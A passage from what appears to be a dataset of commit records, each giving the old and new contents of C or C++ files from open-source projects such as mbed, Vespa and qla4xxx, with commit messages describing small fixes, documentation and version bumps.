T>\nvoid sequential_for(const std::vector<T>& elements, std::function<void(const T& element)> callback);\n\ntemplate<typename T>\nvoid sequential_for(std::vector<T>& elements, std::function<void(T& element)> callback);\n\nTHREADINGZEUG_API void sequential_for(int start, int end, std::function<void(int i)> callback);\n\n} \/\/ namespace threadingzeug\n\n#include <threadingzeug\/parallelfor.hpp>\n","subject":"Fix compile warning on Windows: C4273: 'threadingzeug::parallel_for' : inconsistent dll linkage","message":"Fix compile warning on Windows: C4273: 'threadingzeug::parallel_for' : inconsistent dll linkage\n","lang":"C","license":"mit","repos":"lanice\/libzeug,mjendruk\/libzeug,cginternals\/libzeug,simonkrogmann\/libzeug,hpi-r2d2\/libzeug,j-o\/libzeug,mjendruk\/libzeug,p-otto\/libzeug,kateyy\/libzeug,hpi-r2d2\/libzeug,mjendruk\/libzeug,cginternals\/libzeug,simonkrogmann\/libzeug,p-otto\/libzeug,lanice\/libzeug,cginternals\/libzeug,j-o\/libzeug,lanice\/libzeug,j-o\/libzeug,kateyy\/libzeug,cginternals\/libzeug,p-otto\/libzeug,lanice\/libzeug,j-o\/libzeug,kateyy\/libzeug"}
{"commit":"807d73e3f1ae1cf89d5c000d8070c9e43d80b453","old_file":"sample\/sample.c","new_file":"sample\/sample.c","old_contents":"#define MODULE sample\n#include <sqmodule.h>\n#include <stdio.h>\n\nDECLARE_SQAPI\n\nstatic SQInteger func(HSQUIRRELVM v)\n{\n    static char s[] = \"Hello, modules!\";\n    SQAPI(pushstring)(v, s, sizeof(s) - 1);\n    return 1;\n}\n\n\/\/ Module init function\n\nSQRESULT MODULE_INIT(HSQUIRRELVM v, HSQAPI api)\n{\n    printf(\"in sqmodule_load\\n\");\n\n    INIT_SQAPI(api);\n\n    SQAPI(pushstring)(v, _SC(\"func\"), -1);\n    SQAPI(newclosure)(v, func, 0);\n    SQAPI(newslot)(v, -3, SQFalse);\n\n    printf(\"out sqmodule_load\\n\");\n\n    return SQ_OK;\n}\n","new_contents":"#define MODULE sample\n#include <sqmodule.h>\n#include <stdio.h>\n\nDECLARE_SQAPI\n\nstatic SQInteger func(HSQUIRRELVM v)\n{\n    static char s[] = \"Hello, modules!\";\n    SQAPI(pushstring)(v, s, sizeof(s) - 1);\n    return 1;\n}\n\n\/\/ Module init function\n\nSQRESULT MODULE_INIT(HSQUIRRELVM v, HSQAPI api)\n{\n    printf(\"in sqmodule_load\\n\");\n\n    INIT_SQAPI(v, api);\n\n    SQAPI(pushstring)(v, _SC(\"func\"), -1);\n    SQAPI(newclosure)(v, func, 0);\n    SQAPI(newslot)(v, -3, SQFalse);\n\n    printf(\"out sqmodule_load\\n\");\n\n    return SQ_OK;\n}\n","subject":"Update for sqmodule API change.","message":"Update for sqmodule API change.\n","lang":"C","license":"mit","repos":"pfalcon\/squirrel-modules,pfalcon\/squirrel-modules,pfalcon\/squirrel-modules"}
{"commit":"8ef5102c2ad6f1c0cd8098cdf45473d49f62e8de","old_file":"searchlib\/src\/vespa\/searchlib\/memoryindex\/posting_list_entry.h","new_file":"searchlib\/src\/vespa\/searchlib\/memoryindex\/posting_list_entry.h","old_contents":"\/\/ Copyright 2019 Oath Inc. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n# pragma once\n\n#include <vespa\/vespalib\/datastore\/entryref.h>\n\nnamespace search::memoryindex {\n\n\/**\n * Entry per document in memory index posting list.\n *\/\nclass PostingListEntry {\n    mutable datastore::EntryRef _features; \/\/ reference to compressed features\n\npublic:\n    PostingListEntry(datastore::EntryRef features)\n        : _features(features)\n    {\n    }\n\n    PostingListEntry()\n        : _features()\n    {\n    }\n       datastore::EntryRef get_features() const { return _features; }\n\n    \/\/ Reference moved data (used when compacting FeatureStore)\n    void update_features(datastore::EntryRef features) const { _features = features; }\n};\n\n}\n","new_contents":"\/\/ Copyright 2019 Oath Inc. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n# pragma once\n\n#include <vespa\/vespalib\/datastore\/entryref.h>\n\nnamespace search::memoryindex {\n\n\/**\n * Entry per document in memory index posting list.\n *\/\nclass PostingListEntry {\n    mutable datastore::EntryRef _features; \/\/ reference to compressed features\n\npublic:\n    PostingListEntry(datastore::EntryRef features)\n        : _features(features)\n    {\n    }\n\n    PostingListEntry()\n        : _features()\n    {\n    }\n\n    datastore::EntryRef get_features() const { return _features; }\n\n    \/*\n     * Reference moved features (used when compacting FeatureStore).\n     * The moved features must have the same content as the original\n     * features.\n     *\/\n    void update_features(datastore::EntryRef features) const { _features = features; }\n};\n\n}\n","subject":"Fix indentation and update comment.","message":"Fix indentation and update comment.\n","lang":"C","license":"apache-2.0","repos":"vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa"}
{"commit":"903afa33c486e3f00be40b431fb2919a6e10364b","old_file":"hal\/common\/mbed_error.c","new_file":"hal\/common\/mbed_error.c","old_contents":"\/* mbed Microcontroller Library\n * Copyright (c) 2006-2013 ARM Limited\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#include <stdlib.h>\n#include <stdarg.h>\n#include \"device.h\"\n#include \"toolchain.h\"\n#include \"mbed_error.h\"\n#include \"mbed_interface.h\"\n#if DEVICE_STDIO_MESSAGES\n#include <stdio.h>\n#endif\n\nWEAK void error(const char* format, ...) {\n    va_list arg;\n    va_start(arg, format);\n    mbed_error_vfprintf(format, arg);\n    va_end(arg);\n    exit(1);\n}\n","new_contents":"\/* mbed Microcontroller Library\n * Copyright (c) 2006-2013 ARM Limited\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#include <stdlib.h>\n#include <stdarg.h>\n#include \"device.h\"\n#include \"toolchain.h\"\n#include \"mbed_error.h\"\n#include \"mbed_interface.h\"\n#if DEVICE_STDIO_MESSAGES\n#include <stdio.h>\n#endif\n\nWEAK void error(const char* format, ...) {\n#ifndef NDEBUG\n    va_list arg;\n    va_start(arg, format);\n    mbed_error_vfprintf(format, arg);\n    va_end(arg);\n#endif\n    exit(1);\n}\n","subject":"Allow the trace output by mbed error to be conditional of NDEBUG.","message":"Allow the trace output by mbed error to be conditional of NDEBUG.\n\nThis change avoid inclusion of printf and friends code in a binary when it\nis compiled with the macro NDEBUG enabled (this macro is usually enabled\nfor production builds).\n\nUnlike assert, the error function will still crash\/halt the execution of the\napplication even if NDEBUG is enabled; the traces are just not outputed.\n","lang":"C","license":"apache-2.0","repos":"fanghuaqi\/mbed,monkiineko\/mbed-os,YarivCol\/mbed-os,CalSol\/mbed,adustm\/mbed,mazimkhan\/mbed-os,arostm\/mbed-os,karsev\/mbed-os,NXPmicro\/mbed,theotherjimmy\/mbed,svogl\/mbed-os,mikaleppanen\/mbed-os,nRFMesh\/mbed-os,netzimme\/mbed-os,svogl\/mbed-os,andcor02\/mbed-os,bcostm\/mbed-os,RonEld\/mbed,catiedev\/mbed-os,radhika-raghavendran\/mbed-os5.1-onsemi,adamgreen\/mbed,mazimkhan\/mbed-os,arostm\/mbed-os,betzw\/mbed-os,mazimkhan\/mbed-os,kjbracey-arm\/mbed,maximmbed\/mbed,cvtsi2sd\/mbed-os,ryankurte\/mbed-os,c1728p9\/mbed-os,mbedmicro\/mbed,mmorenobarm\/mbed-os,theotherjimmy\/mbed,adustm\/mbed,mikaleppanen\/mbed-os,adamgreen\/mbed,bcostm\/mbed-os,HeadsUpDisplayInc\/mbed,nvlsianpu\/mbed,kl-cruz\/mbed-os,mazimkhan\/mbed-os,radhika-raghavendran\/mbed-os5.1-onsemi,nvlsianpu\/mbed,catiedev\/mbed-os,bulislaw\/mbed-os,cvtsi2sd\/mbed-os,mikaleppanen\/mbed-os,maximmbed\/mbed,karsev\/mbed-os,Archcady\/mbed-os,ryankurte\/mbed-os,svogl\/mbed-os,j-greffe\/mbed-os,ryankurte\/mbed-os,kl-cruz\/mbed-os,nvlsianpu\/mbed,bulislaw\/mbed-os,kl-cruz\/mbed-os,adustm\/mbed,CalSol\/mbed,screamerbg\/mbed,pradeep-gr\/mbed-os5-onsemi,ryankurte\/mbed-os,RonEld\/mbed,Archcady\/mbed-os,theotherjimmy\/mbed,netzimme\/mbed-os,mazimkhan\/mbed-os,fanghuaqi\/mbed,ryankurte\/mbed-os,mmorenobarm\/mbed-os,Archcady\/mbed-os,fanghuaqi\/mbed,bcostm\/mbed-os,fahhem\/mbed-os,pradeep-gr\/mbed-os5-onsemi,mbedmicro\/mbed,c1728p9\/mbed-os,NXPmicro\/mbed,arostm\/mbed-os,bulislaw\/mbed-os,nRFMesh\/mbed-os,ryankurte\/mbed-os,maximmbed\/mbed,betzw\/mbed-os,adamgreen\/mbed,kjbracey-arm\/mbed,mikaleppanen\/mbed-os,adustm\/mbed,andcor02\/mbed-os,fahhem\/mbed-os,karsev\/mbed-os,netzimme\/mbed-os,svogl\/mbed-os,cvtsi2sd\/mbed-os,j-greffe\/mbed-os,HeadsUpDisplayInc\/mbed,screamerbg\/mbed,maximmbed\/mbed,YarivCol\/mbed-os,screamerbg\/mbed,cvtsi2sd\/mbed-os,andcor02\/mbed-os,adamgreen\/mbed,maximmbed\/mbed,bcostm\/mbed-os,Archcady\/mbed-os,monkiineko\/mbed-os,radhika-raghavendran\/mbed-os5.1-onsemi,andcor02\/mbed-os,YarivCol\/mbed-os,nRFMesh\/mbed-os,j-greffe\/mbed-os,NXPmicro\/mbed,CalSol\/mbed,maximmbed\/mbed,adamgreen\/mbed,karsev\/mbed-os,catiedev\/mbed-os,svogl\/mbed-os,andcor02\/mbed-os,karsev\/mbed-os,RonEld\/mbed,Archcady\/mbed-os,kl-cruz\/mbed-os,radhika-raghavendran\/mbed-os5.1-onsemi,fahhem\/mbed-os,infinnovation\/mbed-os,radhika-raghavendran\/mbed-os5.1-onsemi,nRFMesh\/mbed-os,catiedev\/mbed-os,pradeep-gr\/mbed-os5-onsemi,CalSol\/mbed,mbedmicro\/mbed,bcostm\/mbed-os,andcor02\/mbed-os,infinnovation\/mbed-os,mazimkhan\/mbed-os,kjbracey-arm\/mbed,c1728p9\/mbed-os,YarivCol\/mbed-os,screamerbg\/mbed,mikaleppanen\/mbed-os,kjbracey-arm\/mbed,betzw\/mbed-os,adustm\/mbed,mmorenobarm\/mbed-os,mmorenobarm\/mbed-os,bcostm\/mbed-os,monkiineko\/mbed-os,betzw\/mbed-os,screamerbg\/mbed,adamgreen\/mbed,mbedmicro\/mbed,catiedev\/mbed-os,nvlsianpu\/mbed,netzimme\/mbed-os,NXPmicro\/mbed,HeadsUpDisplayInc\/mbed,YarivCol\/mbed-os,YarivCol\/mbed-os,monkiineko\/mbed-os,c1728p9\/mbed-os,mmorenobarm\/mbed-os,mbedmicro\/mbed,theotherjimmy\/mbed,arostm\/mbed-os,kl-cruz\/mbed-os,screamerbg\/mbed,fahhem\/mbed-os,fahhem\/mbed-os,svogl\/mbed-os,theotherjimmy\/mbed,HeadsUpDisplayInc\/mbed,RonEld\/mbed,j-greffe\/mbed-os,c1728p9\/mbed-os,pradeep-gr\/mbed-os5-onsemi,pradeep-gr\/mbed-os5-onsemi,betzw\/mbed-os,nRFMesh\/mbed-os,radhika-raghavendran\/mbed-os5.1-onsemi,catiedev\/mbed-os,nvlsianpu\/mbed,Archcady\/mbed-os,HeadsUpDisplayInc\/mbed,kl-cruz\/mbed-os,arostm\/mbed-os,netzimme\/mbed-os,infinnovation\/mbed-os,monkiineko\/mbed-os,theotherjimmy\/mbed,pradeep-gr\/mbed-os5-onsemi,bulislaw\/mbed-os,NXPmicro\/mbed,CalSol\/mbed,adustm\/mbed,fahhem\/mbed-os,infinnovation\/mbed-os,bulislaw\/mbed-os,mmorenobarm\/mbed-os,infinnovation\/mbed-os,NXPmicro\/mbed,monkiineko\/mbed-os,infinnovation\/mbed-os,karsev\/mbed-os,nvlsianpu\/mbed,cvtsi2sd\/mbed-os,betzw\/mbed-os,RonEld\/mbed,nRFMesh\/mbed-os,cvtsi2sd\/mbed-os,c1728p9\/mbed-os,arostm\/mbed-os,j-greffe\/mbed-os,HeadsUpDisplayInc\/mbed,bulislaw\/mbed-os,fanghuaqi\/mbed,fanghuaqi\/mbed,RonEld\/mbed,mikaleppanen\/mbed-os,netzimme\/mbed-os,j-greffe\/mbed-os,CalSol\/mbed"}
{"commit":"5f2d956f85e538af7c4b031f6b3f7e35d7a3638f","old_file":"Support\/ResponseDetective.h","new_file":"Support\/ResponseDetective.h","old_contents":"\/\/\n\/\/ ResponseDetective.h\n\/\/\n\/\/ Copyright (c) 2016 Netguru Sp. z o.o. All rights reserved.\n\/\/ Licensed under the MIT License.\n\/\/\n\n\/\/\/ Project version number for ResponseDetective.\nextern double ResponseDetectiveVersionNumber;\n\n\/\/\/ Project version string for ResponseDetective.\nextern const unsigned char ResponseDetectiveVersionString[];\n\n#import <ResponseDetective\/RDTBodyDeserializer.h>\n#import <ResponseDetective\/RDTXMLBodyDeserializer.h>\n#import <ResponseDetective\/RDTHTMLBodyDeserializer.h>\n","new_contents":"\/\/\n\/\/ ResponseDetective.h\n\/\/\n\/\/ Copyright (c) 2016 Netguru Sp. z o.o. All rights reserved.\n\/\/ Licensed under the MIT License.\n\/\/\n\n\/\/\/ Project version number for ResponseDetective.\nextern double ResponseDetectiveVersionNumber;\n\n\/\/\/ Project version string for ResponseDetective.\nextern const unsigned char ResponseDetectiveVersionString[];\n\n@import Foundation;\n\n#import <ResponseDetective\/RDTBodyDeserializer.h>\n#import <ResponseDetective\/RDTXMLBodyDeserializer.h>\n#import <ResponseDetective\/RDTHTMLBodyDeserializer.h>\n","subject":"Add global foundation import to umbrella header","message":"Add global foundation import to umbrella header\n","lang":"C","license":"mit","repos":"netguru\/ResponseDetective,netguru\/ResponseDetective"}
{"commit":"cac90afd0859ca39008f774c88fcb5239de946fe","old_file":"socket\/Socket.h","new_file":"socket\/Socket.h","old_contents":"#ifndef _SOCKET_H_\n#define _SOCKET_H_\n\nnamespace bittorrent\n{\n    namespace socket\n    {\n        struct Buffer\n        {\n            Buffer(char *b, std::size_t bl)\n                : buf(b), buflen(bl), used(0) { }\n\n            char *buf;\n            std::size_t buflen;\n            std::size_t used;\n        };\n\n        class BufferAllocator\n        {\n        public:\n            static Buffer AllocBuf(std::size_t size);\n            static void DeallocBuf(Buffer& buf);\n        };\n\n        class Socket\n        {\n        public:\n            Socket();\n\n            void Send(Buffer& buf);\n            void Recv(Buffer& buf);\n        };\n\n        class Acceptor\n        {\n        public:\n            Acceptor();\n        };\n    } \/\/ namespace socket\n} \/\/ namespace bittorrent\n\n#endif \/\/ _SOCKET_H_","new_contents":"#ifndef _SOCKET_H_\n#define _SOCKET_H_\n\n#include <WinSock2.h>\n#include <cstddef>\n\nnamespace bittorrent\n{\n    namespace socket\n    {\n        struct Buffer\n        {\n            Buffer(char *b, std::size_t bl)\n                : buf(b), buflen(bl), used(0) { }\n\n            char *buf;\n            std::size_t buflen;\n            std::size_t used;\n        };\n\n        class BufferAllocator\n        {\n        public:\n            static Buffer AllocBuf(std::size_t size);\n            static void DeallocBuf(Buffer& buf);\n        };\n\n        class Address\n        {\n        public:\n            static const long any = INADDR_ANY;\n\n            Address();\n            Address(long hladdress);\n            Address(const char *address);\n\n            operator long () const { return address_; }\n\n        private:\n            long address_;\n        };\n\n        class Port\n        {\n        public:\n            Port(short hsport);\n            operator short () const { return port_; }\n\n        private:\n            short port_;\n        };\n\n        class IoService;\n\n        class Socket\n        {\n        public:\n            Socket();\n\n            void Connect(const Address& address, const Port& port);\n            void Send(Buffer& buf);\n            void Recv(Buffer& buf);\n            void Close();\n            SOCKET GetRawSock() const;\n\n        private:\n            SOCKET sock_;\n            IoService *service_;\n        };\n\n        class Acceptor\n        {\n        public:\n            Acceptor(const Address& address, const Port& port);\n\n            void Accept(Socket& sock);\n            void Close();\n            SOCKET GetRawSock() const;\n\n        private:\n            SOCKET sock_;\n            IoService *service_;\n        };\n\n        class IoService\n        {\n        public:\n            typedef HANDLE ServiceHandle;\n            IoService();\n\n            void Send(Socket *socket, Buffer& buf);\n            void Recv(Socket *socket, Buffer& buf);\n            void Connect(Socket *socket, const sockaddr *name);\n            void Accept(Acceptor *acceptor, Socket& socket);\n\n        private:\n            ServiceHandle handle_;\n        };\n    } \/\/ namespace socket\n} \/\/ namespace bittorrent\n\n#endif \/\/ _SOCKET_H_","subject":"Add Address, Port and IoService classes in namespace socket, and complete classes' declaration.","message":"Add Address, Port and IoService classes in namespace socket, and complete\nclasses' declaration.\n","lang":"C","license":"bsd-2-clause","repos":"airtrack\/bitwave,airtrack\/bitwave"}
{"commit":"38a4089a9ef17f3185cb6ec4506f0734b53eabea","old_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","new_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","old_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2012 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.03.00-k4\"\n","new_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2012 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.03.00-k5\"\n","subject":"Update driver version to 5.03.00-k5","message":"[SCSI] qla4xxx: Update driver version to 5.03.00-k5\n\nSigned-off-by: Vikas Chaudhary <c251871a64d7d31888eace0406cb3d4c419d5f73@qlogic.com>\nSigned-off-by: James Bottomley <1acebbdca565c7b6b638bdc23b58b5610d1a56b8@Parallels.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"72da7bcd68b38501b1e5b4c7bffab7a1093c5a40","old_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","new_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","old_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2012 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.03.00-k3\"\n","new_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2012 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.03.00-k4\"\n","subject":"Update driver version to 5.03.00-k4","message":"[SCSI] qla4xxx: Update driver version to 5.03.00-k4\n\nSigned-off-by: Vikas Chaudhary <c251871a64d7d31888eace0406cb3d4c419d5f73@qlogic.com>\nSigned-off-by: James Bottomley <1acebbdca565c7b6b638bdc23b58b5610d1a56b8@Parallels.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs"}
{"commit":"3eb59f9875a3874df94e26371dd7ab29a26efc52","old_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","new_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","old_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2012 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.03.00-k8\"\n","new_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2012 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.03.00-k9\"\n","subject":"Update driver version to 5.03.00-k9","message":"[SCSI] qla4xxx: Update driver version to 5.03.00-k9\n\nSigned-off-by: Vikas Chaudhary <c251871a64d7d31888eace0406cb3d4c419d5f73@qlogic.com>\nSigned-off-by: James Bottomley <1acebbdca565c7b6b638bdc23b58b5610d1a56b8@Parallels.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"4c9654096e1e6d9cb1bf4574432a992ecdc24117","old_file":"src\/registers.h","new_file":"src\/registers.h","old_contents":"\/*\n * registers.h\n *\/\n\n#ifndef\tREGISTERS_H\n#define\tREGISTERS_H\n\n#define REGSIZE\t8\t\/* number of registers *\/\n\/* Program Registers *\/\n#define EAX\t\t0x0\n#define ECX\t\t0x1\n#define EDX\t\t0x2\n#define EBX\t\t0x3\n#define ESP\t\t0x4\n#define EBP\t\t0x5\n#define ESI\t\t0x6\n#define EDI\t\t0x7\n#define RNONE\t0xf\t\/* i.e. - no register needed *\/\n\n\/* Condition Codes (CC) *\/\n#define ZF\t\t0x2\t\t\/* zero flag     - bit 2 of the CC *\/\n#define SF\t\t0x1\t\t\/* sign flag     - bit 1 of the CC *\/\n#define OF\t\t0x0\t\t\/* overflow flag - bit 0 of the CC *\/\n\nvoid clearCC(void);\nvoid clearRegisters(void);\nunsigned int getCC(unsigned int bitNumber);\nunsigned int getRegister(int regNum);\nvoid setCC(unsigned int bitNumber, unsigned int value);\nvoid setRegister(int regNum, unsigned int regValue);\n\n#endif\t\/* REGISTERS_H *\/\n","new_contents":"\/*\n * registers.h\n *\/\n\n#ifndef\tREGISTERS_H\n#define\tREGISTERS_H\n\n#define REGSIZE\t8\t\/* number of registers *\/\n\/* Program Registers *\/\n#define EAX\t\t0x0\n#define ECX\t\t0x1\n#define EDX\t\t0x2\n#define EBX\t\t0x3\n#define ESP\t\t0x4\n#define EBP\t\t0x5\n#define ESI\t\t0x6\n#define EDI\t\t0x7\n#define RNONE\t0xf\t\/* i.e. - no register needed *\/\n\n\/* Condition Codes (CC) *\/\n\/*\n * Set with each arithmetic\/logical operation (OPL).\n * ZF: was the result 0?\n * SF: was the result < 0?\n * OF: did the result overflow? (2's complement)\n *\/\n#define ZF\t\t0x2\t\t\/* zero flag     - bit 2 of the CC *\/\n#define SF\t\t0x1\t\t\/* sign flag     - bit 1 of the CC *\/\n#define OF\t\t0x0\t\t\/* overflow flag - bit 0 of the CC *\/\n\nvoid clearCC(void);\nvoid clearRegisters(void);\nunsigned int getCC(unsigned int bitNumber);\nunsigned int getRegister(int regNum);\nvoid setCC(unsigned int bitNumber, unsigned int value);\nvoid setRegister(int regNum, unsigned int regValue);\n\n#endif\t\/* REGISTERS_H *\/\n","subject":"Add descriptions of the CC's","message":"Add descriptions of the CC's\n","lang":"C","license":"isc","repos":"sbennett1990\/YESS,sbennett1990\/YESS,sbennett1990\/YESS"}
{"commit":"fcead07c6f0a7f919a2856257a37f9efd453c524","old_file":"include\/simbatch\/batch.h","new_file":"include\/simbatch\/batch.h","old_contents":"\/****************************************************************************\/\n\/* This file is part of the Simbatch project                                *\/\n\/* written by Jean-Sebastien Gay, ENS Lyon                                  *\/\n\/*                                                                          *\/\n\/* Copyright (c) 2007 Jean-Sebastien Gay. All rights reserved.              *\/\n\/*                                                                          *\/\n\/* This program is free software; you can redistribute it and\/or modify it  *\/\n\/* under the terms of the license (GNU LGPL) which comes with this package. *\/\n\/****************************************************************************\/\n\n\n#ifndef _BATCH_H_\n#define _BATCH_H_\n\n\/*\n * Simulates the behavior of a Batch system\n * MSG_tasks to use when calling the function:\n * SB_TASK\n * SB_RES to make reservations\n * SB_ACK when a task has been done\n * SB_DIET when working with DIET\n * SED_PRED to perform a prediction of when the task will \n *   be able to execute\n * SED_HPF \n * PF_INIT to initialize the batch\n *\/\nint SB_batch(int argc, char ** argv);\n\n#endif\n","new_contents":"\/****************************************************************************\/\n\/* This file is part of the Simbatch project.                               *\/\n\/* written by Jean-Sebastien Gay and Ghislain Charrier, ENS Lyon.           *\/\n\/*                                                                          *\/\n\/* Copyright (c) 2007, Simbatch Team. All rights reserved.                  *\/\n\/*                                                                          *\/\n\/* This program is free software; you can redistribute it and\/or modify it  *\/\n\/* under the terms of the license (GNU LGPL) which comes with this package. *\/\n\/****************************************************************************\/\n\n\n#ifndef _BATCH_H_\n#define _BATCH_H_\n\n\/**\n * \\file batch.h\n * Define the batch process.\n *\/\n\n\n\/**\n * Simulates the behavior of a Batch system.\n *\n * The behaviour of the batch process consists in responding to incoming \n * messages and to schedule jobs sent by clients. Messages are MSG_task \n * datatype provided by the simgrid library.\n *\n * Here is a short description of the different tasks received:\n * SB_TASK conatins the job to schedule.\n * SB_RES to make reservations.\n * SB_ACK when a task has been done on a cpu. 5 cpus for a task => 5 SB_ACK.\n * SB_DIET to allow Diet for using Simbatch.\n * SED_PRED to perform a prediction of when the task will be able to execute.\n * SED_HPF (work in progess)\n * PF_INIT to initialize the batch\n *\n * \\param argc number of parameters transmitted to the SB_batch process.\n * \\param **argv array containing the parameters. argc and argc are \n * automacilly filled by simgrid when parsing the deployment.xml file.\n * \\return an error code.\n *\/\nint \nSB_batch(int argc, char **argv);\n\n#endif\n","subject":"Add documentation in doxygen style (use JAVA_BRIEF)","message":"Add documentation in doxygen style (use JAVA_BRIEF)\n\n\ngit-svn-id: 20e1f66da029c194d4fbd4305fcdc34286e936b0@6168 48e7efb5-ca39-0410-a469-dd3cf9ba447f\n","lang":"C","license":"lgpl-2.1","repos":"frs69wq\/Simbatch,frs69wq\/Simbatch,frs69wq\/Simbatch,frs69wq\/Simbatch"}
{"commit":"1760bba625b57fbe10b6c0ec8585e0c54c90b907","old_file":"includes\/values.h","new_file":"includes\/values.h","old_contents":"#ifndef             __VALUES_H__\n# define            __VALUES_H__\n\n#include \"mpc.h\"\n\ntypedef struct {\n    int             type;\n    long            num;\n\n    \/* Error and Symbol types have some string data *\/\n    char*           err;\n    char*           sym;\n\n    \/* Count and Pointer to a list of \"lval*\" *\/\n    int             count;\n    struct lval**   cell;\n} lval;\n\n\/* Create Enumeration of Possible lval Types *\/\nenum {\n    LVAL_ERR,\n    LVAL_NUM,\n    LVAL_SYM,\n    LVAL_SEXPR\n};\n\n\/* Create Enumeration of Possible Error Types *\/\nenum {\n    LERR_DIV_ZERO,\n    LERR_BAD_OP,\n    LERR_BAD_NUM\n};\n\nlval*           lval_num(long);\nlval*           lval_err(char*);\nlval*           lval_sym(char*);\nlval*           lval_sexpr(void);\nlval*           lval_add(lval*, struct lval*);\nvoid            lval_del(lval*);\nlval*           lval_read_num(mpc_ast_t*);\nlval*           lval_read(mpc_ast_t*);\nvoid            lval_expr_print(lval*, char, char);\nvoid            lval_print(lval*);\nvoid            lval_println(lval*);\n\n#endif\n","new_contents":"#ifndef             __VALUES_H__\n# define            __VALUES_H__\n\n#include \"mpc.h\"\n\ntypedef struct      s_lval {\n    int             type;\n    long            num;\n\n    \/* Error and Symbol types have some string data *\/\n    char*           err;\n    char*           sym;\n\n    \/* Count and Pointer to a list of \"lval*\" *\/\n    int             count;\n    struct s_lval** cell;\n}                   lval;\n\n\/* Create Enumeration of Possible lval Types *\/\nenum {\n    LVAL_ERR,\n    LVAL_NUM,\n    LVAL_SYM,\n    LVAL_SEXPR\n};\n\n\/* Create Enumeration of Possible Error Types *\/\nenum {\n    LERR_DIV_ZERO,\n    LERR_BAD_OP,\n    LERR_BAD_NUM\n};\n\nlval*           lval_num(long);\nlval*           lval_err(char*);\nlval*           lval_sym(char*);\nlval*           lval_sexpr(void);\nlval*           lval_add(lval*, struct lval*);\nvoid            lval_del(lval*);\nlval*           lval_read_num(mpc_ast_t*);\nlval*           lval_read(mpc_ast_t*);\nvoid            lval_expr_print(lval*, char, char);\nvoid            lval_print(lval*);\nvoid            lval_println(lval*);\n\n#endif\n","subject":"Fix forward lval struct declaration","message":"Fix forward lval struct declaration\n","lang":"C","license":"mit","repos":"oleiade\/lipstick"}
